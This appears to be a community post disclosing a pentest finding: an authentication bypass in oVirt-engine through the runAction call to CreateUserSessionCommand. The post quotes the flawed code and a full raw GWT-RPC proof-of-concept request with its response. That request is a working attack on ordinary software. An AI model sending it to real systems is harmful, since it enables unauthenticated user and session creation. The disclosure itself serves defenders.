Hello ovirt comunity. 

We had an internal pentest here and one finding is Ovirt-engine authentication bypass.

Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz, contains an authentication bypass. It is possible to directly call the CreateUserSessionCommand using runAction exposed by /ovirt-engine/webadmin/GenericApiGWTService.

This action explicitly enables everyone to call it:
```
@Override
protected boolean isUserAuthorizedToRunAction() {
    return true;
}
```

The behavior of this call differs based on the ENGINE_SSO_ENABLE_EXTERNAL_SSO configuration
option:

```

boolean externalSsoEnabled =
EngineLocalConfig.getInstance().getBoolean("ENGINE_SSO_ENABLE_EXTERNAL_SSO");
      DbUser dbUser = externalSsoEnabled ?
         dbUserDao.getByUsernameAndDomain(params.getPrincipalName(), authzName) :
        dbUserDao.getByExternalId(authzName, params.getPrincipalId());

```

If this option is enabled, usernames are used to locate users. If it's disabled, the externalId (which seems to be a randomly generated GUID) is used to locate users. If the specified user exists, a session is returned for the user. If the specified user doesn't exist, the user is created in the system. However, the user doesn't get assigned any group membership or rights, therefore the session creation fails because of the missing Login right. The attempt to modify the users table can be seen in the SQL error message when attempting to use a null value for the username (as the endpoint uses GWT, the payload is mostly unreadable):

```

POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1
Host: ovirtm.xxx.xxx.cz

14

Final Report: Results of penetration testing (internal, external, Wi-Fi)
21 December 2023

Cookie: JSESSIONID=wsp3WAo63LZGHfpB__stEt4lZ7z_zZycpzIprNlT.ovirtm45;
Content-Type: text/x-gwt-rpc; charset=utf-8
X-GWT-Module-Base: https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin
X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D
Ovirt-Xsrf-Token: 4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375
Content-Length: 869

7|0|23|https://ovirtm.xxx.xxx.cz/ovirt-
engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT

Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo
n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter
s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm
in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc
edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie
s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2
01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|-
4|22|0|1|0|1|23|2|0|0|0|
HTTP/1.1 200 OK
Date: Fri, 15 Dec 2023 09:42:35 GMT
Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k mod_auth_gssapi/1.6.1
Expires: Thu, 14 Dec 2023 09:42:35 GMT
Cache-Control: no-cache, no-store, must-revalidate
Set-Cookie: locale=cs_CZ; path=/; secure; HttpOnly; Max-Age=2147483647; Expires=Wed, 02-Jan-2092
12:56:42 GMT
X-XSS-PROTECTION: 1; MODE=BLOCK
Pragma: no-cache
X-FRAME-OPTIONS: SAMEORIGIN
Content-Disposition: attachment
X-CONTENT-TYPE-OPTIONS: NOSNIFF
Content-Length: 1794
Content-Type: application/json;charset=utf-8
Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5
Connection: close
//OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action
ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org
.ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr
or/2640515959","ERROR: null value in column \"username\" violates not-null constraint\n Detail:
Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6, firstName, lastName, internal-authz, null,
, email, , f, principalId, 2023-12-14 17:51:04.757747+01, 2023-12-15 10:42:35.125994+01, namespace,
firstName@internal-authz).\n Where: SQL statement \"UPDATE users\n SET department \u003D
v_department,\n domain \u003D v_domain,\n email \u003D v_email,\n name \u003D
v_name,\n note \u003D v_note,\n surname \u003D v_surname,\n username \u003D
v_username,\n external_id \u003D v_external_id,\n namespace \u003D v_namespace,\n
_update_date \u003D CURRENT_TIMESTAMP\n WHERE external_id \u003D v_external_id\n AND domain
\u003D v_domain\"\nPL/pgSQL function updateuserimpl(character varying,character varying,character
varying,character varying,character varying,character varying,uuid,character varying,text,character
varying) line 5 at SQL statement\nSQL statement \"SELECT UpdateUserImpl(\n v_department,\n
v_domain,\n v_email,\n v_name,\n v_note,\n v_surname,\n v_user_id,\n
v_username,\n v_external_id,\n v_namespace)\"\nPL/pgSQL function updateuser(character
varying,character varying,character varying,character varying,character varying,character
varying,uuid,character varying,boolean,text,character varying) line 3 at PERFORM"],0,7]
```

Fortunately, in our deplyoment the ENGINE_SSO_ENABLE_EXTERNAL_SSO configuration was set to false, so to create a session for the admin it would be necessary to know the admin's user externalId. However, as this is not the default configuration, it is possible that a later reinstallation could change the value. Still, it was possible to create users in the system without any authentication.